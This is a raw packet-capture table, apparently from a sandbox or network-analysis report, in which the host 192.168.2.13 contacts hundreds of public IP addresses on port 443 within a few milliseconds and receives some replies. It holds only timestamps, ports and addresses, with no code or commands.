Mar 21, 2024 05:16:56.482945919 CET	43602	443	192.168.2.13	212.128.229.143
Mar 21, 2024 05:16:56.482947111 CET	43602	443	192.168.2.13	212.234.143.95
Mar 21, 2024 05:16:56.482952118 CET	443	43602	212.234.143.95	192.168.2.13
Mar 21, 2024 05:16:56.482953072 CET	43602	443	192.168.2.13	109.38.6.6
Mar 21, 2024 05:16:56.482959986 CET	43602	443	192.168.2.13	109.248.205.1
Mar 21, 2024 05:16:56.482966900 CET	43602	443	192.168.2.13	5.55.204.170
Mar 21, 2024 05:16:56.482973099 CET	43602	443	192.168.2.13	2.57.70.88
Mar 21, 2024 05:16:56.482992887 CET	43602	443	192.168.2.13	79.56.154.8
Mar 21, 2024 05:16:56.482992887 CET	43602	443	192.168.2.13	212.234.143.95
Mar 21, 2024 05:16:56.482995987 CET	43602	443	192.168.2.13	212.228.25.12
Mar 21, 2024 05:16:56.482996941 CET	43602	443	192.168.2.13	94.57.76.58
Mar 21, 2024 05:16:56.482999086 CET	443	43602	79.56.154.8	192.168.2.13
Mar 21, 2024 05:16:56.483004093 CET	443	43602	212.228.25.12	192.168.2.13
Mar 21, 2024 05:16:56.483006954 CET	43602	443	192.168.2.13	212.93.51.170
Mar 21, 2024 05:16:56.483006954 CET	43602	443	192.168.2.13	210.243.32.51
Mar 21, 2024 05:16:56.483011007 CET	43602	443	192.168.2.13	178.102.50.30
Mar 21, 2024 05:16:56.483012915 CET	43602	443	192.168.2.13	212.21.57.29
Mar 21, 2024 05:16:56.483016014 CET	443	43602	178.102.50.30	192.168.2.13
Mar 21, 2024 05:16:56.483019114 CET	443	43602	212.21.57.29	192.168.2.13
Mar 21, 2024 05:16:56.483021021 CET	43602	443	192.168.2.13	178.37.124.200
Mar 21, 2024 05:16:56.483025074 CET	43602	443	192.168.2.13	212.199.89.12
Mar 21, 2024 05:16:56.483030081 CET	43602	443	192.168.2.13	79.56.154.8
Mar 21, 2024 05:16:56.483030081 CET	443	43602	178.37.124.200	192.168.2.13
Mar 21, 2024 05:16:56.483038902 CET	43602	443	192.168.2.13	118.255.166.17
Mar 21, 2024 05:16:56.483041048 CET	443	43602	212.199.89.12	192.168.2.13
Mar 21, 2024 05:16:56.483043909 CET	43602	443	192.168.2.13	178.102.50.30
Mar 21, 2024 05:16:56.483045101 CET	443	43602	118.255.166.17	192.168.2.13
Mar 21, 2024 05:16:56.483043909 CET	43602	443	192.168.2.13	212.228.25.12
Mar 21, 2024 05:16:56.483046055 CET	43602	443	192.168.2.13	42.2.39.243
Mar 21, 2024 05:16:56.483051062 CET	43602	443	192.168.2.13	2.204.21.222
Mar 21, 2024 05:16:56.483052015 CET	43602	443	192.168.2.13	42.184.211.25
Mar 21, 2024 05:16:56.483052969 CET	443	43602	42.2.39.243	192.168.2.13
Mar 21, 2024 05:16:56.483057022 CET	443	43602	2.204.21.222	192.168.2.13
Mar 21, 2024 05:16:56.483057022 CET	443	43602	42.184.211.25	192.168.2.13
Mar 21, 2024 05:16:56.483057022 CET	43602	443	192.168.2.13	212.21.57.29
Mar 21, 2024 05:16:56.483063936 CET	43602	443	192.168.2.13	178.37.124.200
Mar 21, 2024 05:16:56.483068943 CET	43602	443	192.168.2.13	210.3.120.13
Mar 21, 2024 05:16:56.483068943 CET	43602	443	192.168.2.13	2.132.19.219
Mar 21, 2024 05:16:56.483072042 CET	43602	443	192.168.2.13	212.199.89.12
Mar 21, 2024 05:16:56.483072042 CET	43602	443	192.168.2.13	118.255.166.17
Mar 21, 2024 05:16:56.483076096 CET	443	43602	210.3.120.13	192.168.2.13
Mar 21, 2024 05:16:56.483084917 CET	443	43602	2.132.19.219	192.168.2.13
Mar 21, 2024 05:16:56.483086109 CET	43602	443	192.168.2.13	42.184.211.25
Mar 21, 2024 05:16:56.483088970 CET	43602	443	192.168.2.13	2.204.21.222
Mar 21, 2024 05:16:56.483104944 CET	43602	443	192.168.2.13	210.3.120.13
Mar 21, 2024 05:16:56.483104944 CET	43602	443	192.168.2.13	42.2.39.243
Mar 21, 2024 05:16:56.483105898 CET	43602	443	192.168.2.13	109.178.248.186
Mar 21, 2024 05:16:56.483104944 CET	43602	443	192.168.2.13	210.226.20.169
Mar 21, 2024 05:16:56.483107090 CET	43602	443	192.168.2.13	118.205.52.239
Mar 21, 2024 05:16:56.483110905 CET	43602	443	192.168.2.13	2.132.19.219
Mar 21, 2024 05:16:56.483112097 CET	43602	443	192.168.2.13	109.52.112.37
Mar 21, 2024 05:16:56.483114958 CET	443	43602	210.226.20.169	192.168.2.13
Mar 21, 2024 05:16:56.483114958 CET	443	43602	118.205.52.239	192.168.2.13
Mar 21, 2024 05:16:56.483119011 CET	43602	443	192.168.2.13	37.92.109.10
Mar 21, 2024 05:16:56.483124018 CET	443	43602	109.178.248.186	192.168.2.13
Mar 21, 2024 05:16:56.483125925 CET	443	43602	109.52.112.37	192.168.2.13
Mar 21, 2024 05:16:56.483129025 CET	443	43602	37.92.109.10	192.168.2.13
Mar 21, 2024 05:16:56.483138084 CET	43602	443	192.168.2.13	37.83.40.80
Mar 21, 2024 05:16:56.483144045 CET	443	43602	37.83.40.80	192.168.2.13
Mar 21, 2024 05:16:56.483144045 CET	43602	443	192.168.2.13	79.253.208.67
Mar 21, 2024 05:16:56.483144045 CET	43602	443	192.168.2.13	5.180.183.177
Mar 21, 2024 05:16:56.483151913 CET	443	43602	79.253.208.67	192.168.2.13
Mar 21, 2024 05:16:56.483155012 CET	43602	443	192.168.2.13	37.200.125.147
Mar 21, 2024 05:16:56.483155966 CET	43602	443	192.168.2.13	210.226.20.169
Mar 21, 2024 05:16:56.483160019 CET	43602	443	192.168.2.13	109.178.248.186
Mar 21, 2024 05:16:56.483160019 CET	43602	443	192.168.2.13	37.92.109.10
Mar 21, 2024 05:16:56.483161926 CET	443	43602	37.200.125.147	192.168.2.13
Mar 21, 2024 05:16:56.483161926 CET	443	43602	5.180.183.177	192.168.2.13
Mar 21, 2024 05:16:56.483160019 CET	43602	443	192.168.2.13	2.179.99.136
Mar 21, 2024 05:16:56.483160019 CET	43602	443	192.168.2.13	109.52.112.37
Mar 21, 2024 05:16:56.483166933 CET	43602	443	192.168.2.13	118.205.52.239
Mar 21, 2024 05:16:56.483175993 CET	43602	443	192.168.2.13	212.89.22.88
Mar 21, 2024 05:16:56.483175993 CET	443	43602	2.179.99.136	192.168.2.13
Mar 21, 2024 05:16:56.483175993 CET	43602	443	192.168.2.13	37.83.40.80
Mar 21, 2024 05:16:56.483176947 CET	43602	443	192.168.2.13	109.162.69.147
Mar 21, 2024 05:16:56.483176947 CET	43602	443	192.168.2.13	79.253.208.67
Mar 21, 2024 05:16:56.483185053 CET	443	43602	212.89.22.88	192.168.2.13
Mar 21, 2024 05:16:56.483185053 CET	443	43602	109.162.69.147	192.168.2.13
Mar 21, 2024 05:16:56.483192921 CET	43602	443	192.168.2.13	94.230.172.45
Mar 21, 2024 05:16:56.483198881 CET	443	43602	94.230.172.45	192.168.2.13
Mar 21, 2024 05:16:56.483211994 CET	43602	443	192.168.2.13	2.179.99.136
Mar 21, 2024 05:16:56.483220100 CET	43602	443	192.168.2.13	5.180.183.177
Mar 21, 2024 05:16:56.483220100 CET	43602	443	192.168.2.13	79.33.183.162
Mar 21, 2024 05:16:56.483220100 CET	43602	443	192.168.2.13	109.162.69.147
Mar 21, 2024 05:16:56.483222008 CET	43602	443	192.168.2.13	2.121.59.203
Mar 21, 2024 05:16:56.483222008 CET	43602	443	192.168.2.13	2.112.223.248
Mar 21, 2024 05:16:56.483223915 CET	43602	443	192.168.2.13	37.200.125.147
Mar 21, 2024 05:16:56.483223915 CET	43602	443	192.168.2.13	94.186.45.192
Mar 21, 2024 05:16:56.483223915 CET	43602	443	192.168.2.13	37.154.99.64
Mar 21, 2024 05:16:56.483223915 CET	43602	443	192.168.2.13	2.38.88.190
Mar 21, 2024 05:16:56.483226061 CET	43602	443	192.168.2.13	2.216.73.38
Mar 21, 2024 05:16:56.483225107 CET	43602	443	192.168.2.13	5.7.107.195
Mar 21, 2024 05:16:56.483227968 CET	443	43602	2.121.59.203	192.168.2.13
Mar 21, 2024 05:16:56.483230114 CET	443	43602	2.112.223.248	192.168.2.13
Mar 21, 2024 05:16:56.483231068 CET	443	43602	79.33.183.162	192.168.2.13
Mar 21, 2024 05:16:56.483232021 CET	443	43602	2.216.73.38	192.168.2.13
Mar 21, 2024 05:16:56.483237982 CET	43602	443	192.168.2.13	212.89.22.88
Mar 21, 2024 05:16:56.483237982 CET	43602	443	192.168.2.13	79.163.229.32
Mar 21, 2024 05:16:56.483238935 CET	43602	443	192.168.2.13	42.120.241.58
Mar 21, 2024 05:16:56.483237982 CET	43602	443	192.168.2.13	212.90.64.229
Mar 21, 2024 05:16:56.483241081 CET	443	43602	94.186.45.192	192.168.2.13
Mar 21, 2024 05:16:56.483242035 CET	43602	443	192.168.2.13	94.230.172.45
Mar 21, 2024 05:16:56.483242035 CET	43602	443	192.168.2.13	109.14.157.2
Mar 21, 2024 05:16:56.483244896 CET	43602	443	192.168.2.13	109.182.128.168
Mar 21, 2024 05:16:56.483247042 CET	443	43602	42.120.241.58	192.168.2.13
Mar 21, 2024 05:16:56.483247042 CET	43602	443	192.168.2.13	94.6.178.200
Mar 21, 2024 05:16:56.483247042 CET	43602	443	192.168.2.13	5.131.74.119
Mar 21, 2024 05:16:56.483247995 CET	443	43602	79.163.229.32	192.168.2.13
Mar 21, 2024 05:16:56.483249903 CET	443	43602	37.154.99.64	192.168.2.13
Mar 21, 2024 05:16:56.483251095 CET	443	43602	109.14.157.2	192.168.2.13
Mar 21, 2024 05:16:56.483253956 CET	443	43602	212.90.64.229	192.168.2.13
Mar 21, 2024 05:16:56.483253956 CET	443	43602	109.182.128.168	192.168.2.13
Mar 21, 2024 05:16:56.483257055 CET	443	43602	94.6.178.200	192.168.2.13
Mar 21, 2024 05:16:56.483258009 CET	443	43602	2.38.88.190	192.168.2.13
Mar 21, 2024 05:16:56.483258009 CET	43602	443	192.168.2.13	2.112.223.248
Mar 21, 2024 05:16:56.483262062 CET	443	43602	5.7.107.195	192.168.2.13
Mar 21, 2024 05:16:56.483266115 CET	443	43602	5.131.74.119	192.168.2.13
Mar 21, 2024 05:16:56.483267069 CET	43602	443	192.168.2.13	79.33.183.162
Mar 21, 2024 05:16:56.483269930 CET	43602	443	192.168.2.13	2.216.73.38
Mar 21, 2024 05:16:56.483273029 CET	43602	443	192.168.2.13	2.193.167.205
Mar 21, 2024 05:16:56.483273029 CET	43602	443	192.168.2.13	94.186.45.192
Mar 21, 2024 05:16:56.483278990 CET	43602	443	192.168.2.13	212.90.64.229
Mar 21, 2024 05:16:56.483279943 CET	443	43602	2.193.167.205	192.168.2.13
Mar 21, 2024 05:16:56.483300924 CET	43602	443	192.168.2.13	2.121.59.203
Mar 21, 2024 05:16:56.483300924 CET	43602	443	192.168.2.13	42.120.241.58
Mar 21, 2024 05:16:56.483302116 CET	43602	443	192.168.2.13	109.14.157.2
Mar 21, 2024 05:16:56.483303070 CET	43602	443	192.168.2.13	79.163.229.32
Mar 21, 2024 05:16:56.483304977 CET	43602	443	192.168.2.13	37.154.99.64
Mar 21, 2024 05:16:56.483304977 CET	43602	443	192.168.2.13	109.182.128.168
Mar 21, 2024 05:16:56.483304024 CET	43602	443	192.168.2.13	94.6.178.200
Mar 21, 2024 05:16:56.483304977 CET	43602	443	192.168.2.13	2.38.88.190
Mar 21, 2024 05:16:56.483304977 CET	43602	443	192.168.2.13	5.7.107.195
Mar 21, 2024 05:16:56.483314037 CET	43602	443	192.168.2.13	5.131.74.119
Mar 21, 2024 05:16:56.483315945 CET	43602	443	192.168.2.13	2.193.167.205
Mar 21, 2024 05:16:56.483421087 CET	43602	443	192.168.2.13	210.233.225.202
Mar 21, 2024 05:16:56.483422041 CET	43602	443	192.168.2.13	178.140.41.51
Mar 21, 2024 05:16:56.483428001 CET	443	43602	210.233.225.202	192.168.2.13
Mar 21, 2024 05:16:56.483428955 CET	443	43602	178.140.41.51	192.168.2.13
Mar 21, 2024 05:16:56.483437061 CET	43602	443	192.168.2.13	118.228.42.176
Mar 21, 2024 05:16:56.483437061 CET	43602	443	192.168.2.13	79.83.221.226
Mar 21, 2024 05:16:56.483445883 CET	443	43602	118.228.42.176	192.168.2.13
Mar 21, 2024 05:16:56.483459949 CET	443	43602	79.83.221.226	192.168.2.13
Mar 21, 2024 05:16:56.483464003 CET	43602	443	192.168.2.13	178.140.41.51
Mar 21, 2024 05:16:56.483464956 CET	43602	443	192.168.2.13	210.233.225.202
Mar 21, 2024 05:16:56.483469009 CET	43602	443	192.168.2.13	118.228.42.176
Mar 21, 2024 05:16:56.483489037 CET	43602	443	192.168.2.13	94.1.36.71
Mar 21, 2024 05:16:56.483489037 CET	43602	443	192.168.2.13	2.238.234.160
Mar 21, 2024 05:16:56.483500957 CET	43602	443	192.168.2.13	79.83.221.226
Mar 21, 2024 05:16:56.483500957 CET	43602	443	192.168.2.13	37.203.152.56
Mar 21, 2024 05:16:56.483504057 CET	443	43602	94.1.36.71	192.168.2.13
Mar 21, 2024 05:16:56.483506918 CET	443	43602	37.203.152.56	192.168.2.13
Mar 21, 2024 05:16:56.483509064 CET	43602	443	192.168.2.13	210.153.47.116
Mar 21, 2024 05:16:56.483509064 CET	43602	443	192.168.2.13	79.16.184.202
Mar 21, 2024 05:16:56.483510971 CET	43602	443	192.168.2.13	210.62.237.119
Mar 21, 2024 05:16:56.483515024 CET	443	43602	2.238.234.160	192.168.2.13
Mar 21, 2024 05:16:56.483515978 CET	443	43602	210.153.47.116	192.168.2.13
Mar 21, 2024 05:16:56.483517885 CET	43602	443	192.168.2.13	79.200.55.171
Mar 21, 2024 05:16:56.483517885 CET	443	43602	210.62.237.119	192.168.2.13
Mar 21, 2024 05:16:56.483517885 CET	43602	443	192.168.2.13	212.102.139.22
Mar 21, 2024 05:16:56.483522892 CET	43602	443	192.168.2.13	94.180.146.12
Mar 21, 2024 05:16:56.483524084 CET	443	43602	79.16.184.202	192.168.2.13
Mar 21, 2024 05:16:56.483525038 CET	43602	443	192.168.2.13	109.105.245.159
Mar 21, 2024 05:16:56.483529091 CET	43602	443	192.168.2.13	109.108.159.193
Mar 21, 2024 05:16:56.483529091 CET	443	43602	94.180.146.12	192.168.2.13
Mar 21, 2024 05:16:56.483529091 CET	443	43602	79.200.55.171	192.168.2.13
Mar 21, 2024 05:16:56.483530998 CET	443	43602	109.105.245.159	192.168.2.13
Mar 21, 2024 05:16:56.483529091 CET	43602	443	192.168.2.13	94.53.32.97
Mar 21, 2024 05:16:56.483540058 CET	443	43602	212.102.139.22	192.168.2.13
Mar 21, 2024 05:16:56.483541012 CET	43602	443	192.168.2.13	37.203.152.56
Mar 21, 2024 05:16:56.483545065 CET	43602	443	192.168.2.13	94.1.36.71
Mar 21, 2024 05:16:56.483546019 CET	443	43602	109.108.159.193	192.168.2.13
Mar 21, 2024 05:16:56.483545065 CET	43602	443	192.168.2.13	2.238.234.160
Mar 21, 2024 05:16:56.483553886 CET	443	43602	94.53.32.97	192.168.2.13
Mar 21, 2024 05:16:56.483556032 CET	43602	443	192.168.2.13	109.105.245.159
Mar 21, 2024 05:16:56.483556986 CET	43602	443	192.168.2.13	210.62.237.119
Mar 21, 2024 05:16:56.483556986 CET	43602	443	192.168.2.13	210.153.47.116
Mar 21, 2024 05:16:56.483556986 CET	43602	443	192.168.2.13	79.16.184.202
Mar 21, 2024 05:16:56.483561993 CET	43602	443	192.168.2.13	79.200.55.171
Mar 21, 2024 05:16:56.483573914 CET	43602	443	192.168.2.13	94.180.146.12
Mar 21, 2024 05:16:56.483573914 CET	43602	443	192.168.2.13	212.102.139.22
Mar 21, 2024 05:16:56.483589888 CET	43602	443	192.168.2.13	109.108.159.193
Mar 21, 2024 05:16:56.483589888 CET	43602	443	192.168.2.13	94.53.32.97
Mar 21, 2024 05:16:56.483601093 CET	43602	443	192.168.2.13	178.169.175.134
Mar 21, 2024 05:16:56.483607054 CET	443	43602	178.169.175.134	192.168.2.13
Mar 21, 2024 05:16:56.483617067 CET	43602	443	192.168.2.13	118.194.102.68
Mar 21, 2024 05:16:56.483618021 CET	43602	443	192.168.2.13	37.133.165.75
Mar 21, 2024 05:16:56.483618021 CET	43602	443	192.168.2.13	178.71.228.81
Mar 21, 2024 05:16:56.483623028 CET	443	43602	118.194.102.68	192.168.2.13
Mar 21, 2024 05:16:56.483627081 CET	443	43602	37.133.165.75	192.168.2.13
Mar 21, 2024 05:16:56.483628035 CET	43602	443	192.168.2.13	212.100.196.80
Mar 21, 2024 05:16:56.483630896 CET	43602	443	192.168.2.13	212.66.158.74
Mar 21, 2024 05:16:56.483634949 CET	443	43602	212.100.196.80	192.168.2.13
Mar 21, 2024 05:16:56.483634949 CET	443	43602	178.71.228.81	192.168.2.13
Mar 21, 2024 05:16:56.483634949 CET	43602	443	192.168.2.13	178.169.175.134
Mar 21, 2024 05:16:56.483639956 CET	443	43602	212.66.158.74	192.168.2.13
Mar 21, 2024 05:16:56.483659983 CET	43602	443	192.168.2.13	212.239.137.48
Mar 21, 2024 05:16:56.483660936 CET	43602	443	192.168.2.13	212.100.196.80
Mar 21, 2024 05:16:56.483664989 CET	43602	443	192.168.2.13	118.194.102.68
Mar 21, 2024 05:16:56.483665943 CET	443	43602	212.239.137.48	192.168.2.13
Mar 21, 2024 05:16:56.483675957 CET	43602	443	192.168.2.13	37.133.165.75
Mar 21, 2024 05:16:56.483675957 CET	43602	443	192.168.2.13	178.71.228.81
Mar 21, 2024 05:16:56.483686924 CET	43602	443	192.168.2.13	212.66.158.74
Mar 21, 2024 05:16:56.483692884 CET	43602	443	192.168.2.13	212.239.137.48
Mar 21, 2024 05:16:56.483695984 CET	43602	443	192.168.2.13	42.116.80.50
Mar 21, 2024 05:16:56.483700037 CET	43602	443	192.168.2.13	212.234.6.196
Mar 21, 2024 05:16:56.483704090 CET	443	43602	42.116.80.50	192.168.2.13
Mar 21, 2024 05:16:56.483705044 CET	443	43602	212.234.6.196	192.168.2.13
Mar 21, 2024 05:16:56.483715057 CET	43602	443	192.168.2.13	37.86.216.196
Mar 21, 2024 05:16:56.483721018 CET	43602	443	192.168.2.13	42.239.110.114
Mar 21, 2024 05:16:56.483722925 CET	443	43602	37.86.216.196	192.168.2.13
Mar 21, 2024 05:16:56.483726978 CET	443	43602	42.239.110.114	192.168.2.13
Mar 21, 2024 05:16:56.483743906 CET	43602	443	192.168.2.13	178.101.172.68
Mar 21, 2024 05:16:56.483745098 CET	43602	443	192.168.2.13	210.248.66.23
Mar 21, 2024 05:16:56.483745098 CET	43602	443	192.168.2.13	42.116.80.50
Mar 21, 2024 05:16:56.483741045 CET	43602	443	192.168.2.13	79.91.7.35
Mar 21, 2024 05:16:56.483741999 CET	43602	443	192.168.2.13	212.234.6.196
Mar 21, 2024 05:16:56.483750105 CET	443	43602	178.101.172.68	192.168.2.13
Mar 21, 2024 05:16:56.483753920 CET	443	43602	79.91.7.35	192.168.2.13
Mar 21, 2024 05:16:56.483753920 CET	443	43602	210.248.66.23	192.168.2.13
Mar 21, 2024 05:16:56.483778000 CET	43602	443	192.168.2.13	178.135.218.205
Mar 21, 2024 05:16:56.483783960 CET	443	43602	178.135.218.205	192.168.2.13
Mar 21, 2024 05:16:56.483787060 CET	43602	443	192.168.2.13	42.239.110.114
Mar 21, 2024 05:16:56.483788967 CET	43602	443	192.168.2.13	79.91.7.35
Mar 21, 2024 05:16:56.483800888 CET	43602	443	192.168.2.13	210.248.66.23
Mar 21, 2024 05:16:56.483819008 CET	43602	443	192.168.2.13	178.53.0.72
Mar 21, 2024 05:16:56.483824015 CET	43602	443	192.168.2.13	178.101.172.68
Mar 21, 2024 05:16:56.483824968 CET	443	43602	178.53.0.72	192.168.2.13
Mar 21, 2024 05:16:56.483825922 CET	43602	443	192.168.2.13	178.73.14.250
Mar 21, 2024 05:16:56.483831882 CET	43602	443	192.168.2.13	5.182.174.135
Mar 21, 2024 05:16:56.483833075 CET	443	43602	178.73.14.250	192.168.2.13
Mar 21, 2024 05:16:56.483838081 CET	443	43602	5.182.174.135	192.168.2.13
Mar 21, 2024 05:16:56.483844995 CET	43602	443	192.168.2.13	109.95.98.65
Mar 21, 2024 05:16:56.483845949 CET	43602	443	192.168.2.13	37.86.216.196
Mar 21, 2024 05:16:56.483844995 CET	43602	443	192.168.2.13	2.131.42.72
Mar 21, 2024 05:16:56.483850956 CET	443	43602	109.95.98.65	192.168.2.13
Mar 21, 2024 05:16:56.483851910 CET	43602	443	192.168.2.13	178.135.218.205
Mar 21, 2024 05:16:56.483854055 CET	443	43602	2.131.42.72	192.168.2.13
Mar 21, 2024 05:16:56.483860970 CET	43602	443	192.168.2.13	79.208.183.68
Mar 21, 2024 05:16:56.483860970 CET	43602	443	192.168.2.13	178.53.0.72
Mar 21, 2024 05:16:56.483861923 CET	43602	443	192.168.2.13	5.238.97.1
Mar 21, 2024 05:16:56.483861923 CET	43602	443	192.168.2.13	178.73.14.250
Mar 21, 2024 05:16:56.483870029 CET	443	43602	5.238.97.1	192.168.2.13
Mar 21, 2024 05:16:56.483870983 CET	443	43602	79.208.183.68	192.168.2.13
Mar 21, 2024 05:16:56.483871937 CET	43602	443	192.168.2.13	2.136.147.254
Mar 21, 2024 05:16:56.483872890 CET	43602	443	192.168.2.13	5.182.174.135
Mar 21, 2024 05:16:56.483879089 CET	443	43602	2.136.147.254	192.168.2.13
Mar 21, 2024 05:16:56.483885050 CET	43602	443	192.168.2.13	37.87.150.14
Mar 21, 2024 05:16:56.483885050 CET	43602	443	192.168.2.13	109.95.98.65
Mar 21, 2024 05:16:56.483887911 CET	43602	443	192.168.2.13	210.30.122.218
Mar 21, 2024 05:16:56.483887911 CET	43602	443	192.168.2.13	2.131.42.72
Mar 21, 2024 05:16:56.483891964 CET	443	43602	37.87.150.14	192.168.2.13
Mar 21, 2024 05:16:56.483897924 CET	443	43602	210.30.122.218	192.168.2.13
Mar 21, 2024 05:16:56.483910084 CET	43602	443	192.168.2.13	2.136.147.254
Mar 21, 2024 05:16:56.483913898 CET	43602	443	192.168.2.13	5.238.97.1
Mar 21, 2024 05:16:56.483915091 CET	43602	443	192.168.2.13	79.208.183.68
Mar 21, 2024 05:16:56.483916998 CET	43602	443	192.168.2.13	94.159.244.133
Mar 21, 2024 05:16:56.483916998 CET	43602	443	192.168.2.13	2.210.94.128
Mar 21, 2024 05:16:56.483927011 CET	443	43602	94.159.244.133	192.168.2.13
Mar 21, 2024 05:16:56.483931065 CET	443	43602	2.210.94.128	192.168.2.13
Mar 21, 2024 05:16:56.483952999 CET	43602	443	192.168.2.13	94.49.188.95
Mar 21, 2024 05:16:56.483952999 CET	43602	443	192.168.2.13	94.105.119.73
Mar 21, 2024 05:16:56.483964920 CET	43602	443	192.168.2.13	37.87.150.14
Mar 21, 2024 05:16:56.483967066 CET	43602	443	192.168.2.13	210.76.53.4
Mar 21, 2024 05:16:56.483967066 CET	43602	443	192.168.2.13	94.159.244.133
Mar 21, 2024 05:16:56.483967066 CET	43602	443	192.168.2.13	2.210.94.128
Mar 21, 2024 05:16:56.483968973 CET	443	43602	94.49.188.95	192.168.2.13
Mar 21, 2024 05:16:56.483968973 CET	43602	443	192.168.2.13	210.30.122.218
Mar 21, 2024 05:16:56.483969927 CET	43602	443	192.168.2.13	37.181.183.231
Mar 21, 2024 05:16:56.483973026 CET	43602	443	192.168.2.13	210.64.149.73
Mar 21, 2024 05:16:56.483974934 CET	443	43602	210.76.53.4	192.168.2.13
Mar 21, 2024 05:16:56.483978987 CET	443	43602	94.105.119.73	192.168.2.13
Mar 21, 2024 05:16:56.483978987 CET	443	43602	210.64.149.73	192.168.2.13
Mar 21, 2024 05:16:56.483979940 CET	43602	443	192.168.2.13	5.98.34.182
Mar 21, 2024 05:16:56.483983994 CET	43602	443	192.168.2.13	210.76.87.161
Mar 21, 2024 05:16:56.483985901 CET	443	43602	37.181.183.231	192.168.2.13
Mar 21, 2024 05:16:56.483987093 CET	443	43602	5.98.34.182	192.168.2.13
Mar 21, 2024 05:16:56.483989000 CET	43602	443	192.168.2.13	79.68.94.128
Mar 21, 2024 05:16:56.483989954 CET	443	43602	210.76.87.161	192.168.2.13
Mar 21, 2024 05:16:56.483994007 CET	43602	443	192.168.2.13	79.0.85.251
Mar 21, 2024 05:16:56.483997107 CET	443	43602	79.68.94.128	192.168.2.13
Mar 21, 2024 05:16:56.483994007 CET	43602	443	192.168.2.13	94.49.188.95
Mar 21, 2024 05:16:56.484005928 CET	443	43602	79.0.85.251	192.168.2.13
Mar 21, 2024 05:16:56.484015942 CET	43602	443	192.168.2.13	94.105.119.73
Mar 21, 2024 05:16:56.484015942 CET	43602	443	192.168.2.13	210.76.53.4
Mar 21, 2024 05:16:56.484020948 CET	43602	443	192.168.2.13	94.217.40.158
Mar 21, 2024 05:16:56.484020948 CET	43602	443	192.168.2.13	5.98.34.182
Mar 21, 2024 05:16:56.484025002 CET	43602	443	192.168.2.13	210.64.149.73
Mar 21, 2024 05:16:56.484026909 CET	43602	443	192.168.2.13	79.68.94.128
Mar 21, 2024 05:16:56.484028101 CET	443	43602	94.217.40.158	192.168.2.13
Mar 21, 2024 05:16:56.484035015 CET	43602	443	192.168.2.13	210.76.87.161
Mar 21, 2024 05:16:56.484066010 CET	43602	443	192.168.2.13	37.173.39.225
Mar 21, 2024 05:16:56.484066010 CET	43602	443	192.168.2.13	37.181.183.231
Mar 21, 2024 05:16:56.484066010 CET	43602	443	192.168.2.13	42.131.198.208
Mar 21, 2024 05:16:56.484066010 CET	43602	443	192.168.2.13	79.153.77.152
Mar 21, 2024 05:16:56.484066010 CET	43602	443	192.168.2.13	79.33.107.180
Mar 21, 2024 05:16:56.484072924 CET	43602	443	192.168.2.13	79.0.85.251
Mar 21, 2024 05:16:56.484072924 CET	43602	443	192.168.2.13	212.90.34.142
Mar 21, 2024 05:16:56.484074116 CET	43602	443	192.168.2.13	37.30.189.171
Mar 21, 2024 05:16:56.484075069 CET	43602	443	192.168.2.13	79.39.186.1
Mar 21, 2024 05:16:56.484075069 CET	443	43602	37.173.39.225	192.168.2.13
Mar 21, 2024 05:16:56.484078884 CET	443	43602	42.131.198.208	192.168.2.13
Mar 21, 2024 05:16:56.484081030 CET	443	43602	79.33.107.180	192.168.2.13
Mar 21, 2024 05:16:56.484082937 CET	43602	443	192.168.2.13	5.243.127.236
Mar 21, 2024 05:16:56.484082937 CET	43602	443	192.168.2.13	79.66.2.107
Mar 21, 2024 05:16:56.484085083 CET	443	43602	212.90.34.142	192.168.2.13
Mar 21, 2024 05:16:56.484085083 CET	43602	443	192.168.2.13	5.109.87.225
Mar 21, 2024 05:16:56.484086990 CET	443	43602	37.30.189.171	192.168.2.13
Mar 21, 2024 05:16:56.484088898 CET	43602	443	192.168.2.13	109.159.165.184
Mar 21, 2024 05:16:56.484088898 CET	43602	443	192.168.2.13	42.22.203.25
Mar 21, 2024 05:16:56.484091043 CET	443	43602	79.153.77.152	192.168.2.13
Mar 21, 2024 05:16:56.484091997 CET	443	43602	79.39.186.1	192.168.2.13
Mar 21, 2024 05:16:56.484091997 CET	443	43602	5.243.127.236	192.168.2.13
Mar 21, 2024 05:16:56.484093904 CET	43602	443	192.168.2.13	94.99.42.211
Mar 21, 2024 05:16:56.484093904 CET	43602	443	192.168.2.13	5.227.111.114
Mar 21, 2024 05:16:56.484096050 CET	443	43602	109.159.165.184	192.168.2.13
Mar 21, 2024 05:16:56.484096050 CET	43602	443	192.168.2.13	94.217.40.158
Mar 21, 2024 05:16:56.484096050 CET	43602	443	192.168.2.13	2.42.24.194
Mar 21, 2024 05:16:56.484097958 CET	43602	443	192.168.2.13	2.134.202.101
Mar 21, 2024 05:16:56.484100103 CET	443	43602	5.109.87.225	192.168.2.13
Mar 21, 2024 05:16:56.484102964 CET	443	43602	79.66.2.107	192.168.2.13
Mar 21, 2024 05:16:56.484102964 CET	443	43602	42.22.203.25	192.168.2.13
Mar 21, 2024 05:16:56.484107018 CET	443	43602	2.42.24.194	192.168.2.13
Mar 21, 2024 05:16:56.484107971 CET	443	43602	94.99.42.211	192.168.2.13
Mar 21, 2024 05:16:56.484112978 CET	443	43602	5.227.111.114	192.168.2.13
Mar 21, 2024 05:16:56.484112978 CET	443	43602	2.134.202.101	192.168.2.13
Mar 21, 2024 05:16:56.484113932 CET	43602	443	192.168.2.13	42.131.198.208
Mar 21, 2024 05:16:56.484113932 CET	43602	443	192.168.2.13	109.94.210.4
Mar 21, 2024 05:16:56.484113932 CET	43602	443	192.168.2.13	79.153.77.152
Mar 21, 2024 05:16:56.484118938 CET	43602	443	192.168.2.13	37.30.189.171
Mar 21, 2024 05:16:56.484118938 CET	43602	443	192.168.2.13	79.39.186.1
Mar 21, 2024 05:16:56.484119892 CET	443	43602	109.94.210.4	192.168.2.13
Mar 21, 2024 05:16:56.484121084 CET	43602	443	192.168.2.13	37.173.39.225
Mar 21, 2024 05:16:56.484121084 CET	43602	443	192.168.2.13	79.33.107.180
Mar 21, 2024 05:16:56.484128952 CET	43602	443	192.168.2.13	212.90.34.142
Mar 21, 2024 05:16:56.484138012 CET	43602	443	192.168.2.13	42.22.203.25
Mar 21, 2024 05:16:56.484138012 CET	43602	443	192.168.2.13	109.159.165.184
Mar 21, 2024 05:16:56.484144926 CET	43602	443	192.168.2.13	5.109.87.225
Mar 21, 2024 05:16:56.484146118 CET	43602	443	192.168.2.13	5.243.127.236
Mar 21, 2024 05:16:56.484148979 CET	43602	443	192.168.2.13	5.227.111.114
Mar 21, 2024 05:16:56.484150887 CET	43602	443	192.168.2.13	2.42.24.194
